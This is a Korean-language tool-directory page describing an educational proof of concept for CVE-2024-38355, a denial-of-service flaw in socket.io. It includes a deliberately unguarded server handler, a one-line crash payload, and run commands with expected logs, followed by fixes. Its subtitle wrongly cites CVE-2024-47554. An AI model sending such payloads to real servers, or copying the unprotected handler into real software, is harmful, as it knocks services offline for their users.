Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-38355-PoC — CVE-2024-47554 개념 증명 | Kitploit
도구/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

CVE-2024-47554 개념 증명

저장소 보기
17개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-38355 데모 (Socket.IO 크래시)

이 프로젝트는 socket.io의 서비스 거부(DoS) 취약점인 CVE-2024-38355를 시연하는 개념 증명(PoC)입니다. 이 프로젝트는 공격 메커니즘과 애플리케이션 보호 방법을 보여주기 위해 교육 목적으로 제작되었습니다.

취약점 정보 (CVE-2024-38355)

이 취약점은 다음 socket.io 버전에 영향을 줍니다:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

특수하게 조작된 Socket.IO 패킷이 서버에서 포착되지 않은 예외(uncaught exception)를 발생시켜 Node.js 프로세스를 충돌시킬 수 있습니다. 이로 인해 서비스 거부(DoS) 공격이 발생합니다.

작동 방식:

  1. 클라이언트가 Socket.IO 서버에 정상적으로 연결합니다.
  2. 클라이언트가 서버에서 오류를 유발하는 악성 이벤트/패킷을 전송합니다.
  3. 서버 코드가 (예: 신뢰할 수 없는 입력 처리 중) 예외를 발생시키고 소켓에 오류 처리기가 없으면, 포착되지 않은 예외가 전체 Node.js 프로세스를 충돌시킵니다.
  4. 서버가 모든 사용자에게 사용 불가 상태가 됩니다.

주요 요인:

  • 소켓에 error 이벤트 리스너가 없음
  • 클라이언트 데이터 처리 시 예외를 발생시킬 수 있는 서버 측 코드
  • 전역 포착되지 않은 예외 처리기 없음

프로젝트 구조

프로젝트는 두 개의 Docker 컨테이너로 구성됩니다:

  1. vulnerable-server: 취약한 [email protected]을 사용하는 Node.js 서버입니다. 악성 데이터를 수신할 때 포착되지 않은 예외를 발생시킬 수 있는 이벤트 핸들러가 있습니다.
  2. exploit-client: 서버에 연결하여 먼저 정상 작동을 테스트한 다음, 서버를 충돌시키는 페이로드를 전송하는 Node.js 스크립트입니다.

요구 사항

  • Docker
  • Docker Compose

또는 다음이 필요합니다:

  • Node.js 18+
  • npm

실행 방법

방법 1: Docker Compose 사용 (권장)

프로젝트 루트 디렉터리에서 터미널을 열고 다음을 실행합니다:

root@kitploit:~
docker-compose down
docker-compose build --no-cache
docker-compose up

이렇게 하면:

  1. 서버와 클라이언트의 이미지를 빌드합니다.
  2. 포트 3000에서 서버를 시작합니다.
  3. 자동으로 서버를 공격하고 충돌시키는 익스플로잇 클라이언트를 시작합니다.

방법 2: 로컬에서 실행 (Docker 없이)

터미널 1 - 서버 시작:

root@kitploit:~
cd server
npm install
npm start

터미널 2 - 익스플로잇 실행:

root@kitploit:~
cd exploit
npm install
npm start

예상 출력

서버 로그:

root@kitploit:~
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

익스플로잇 로그:

root@kitploit:~
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

종료

Ctrl+C를 누르거나 다음을 실행합니다:

root@kitploit:~
docker-compose down

코드 분석

취약한 서버 (server/index.js)

root@kitploit:~
socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

익스플로잇 (exploit/exploit.js)

root@kitploit:~
// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

수정 방법

이 취약점으로부터 애플리케이션을 보호하려면:

  1. **socket.io**를 버전 4.6.2 이상으로 업데이트합니다 (수정 버전은 기본 noop 오류 처리기를 추가합니다).

  2. 소켓에 항상 오류 처리기를 연결합니다:

    root@kitploit:~
    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. 이벤트 핸들러를 try-catch로 감쌉니다:

    root@kitploit:~
    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. 전역 포착되지 않은 예외 처리기를 추가합니다 (최후의 수단):

    root@kitploit:~
    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

참고 자료

  • NVD의 CVE-2024-38355
  • GitHub 보안 권고 GHSA-25hc-qcg6-38wj
  • 수정 커밋

교육 목적으로 제작된 프로젝트입니다.

도구 다운로드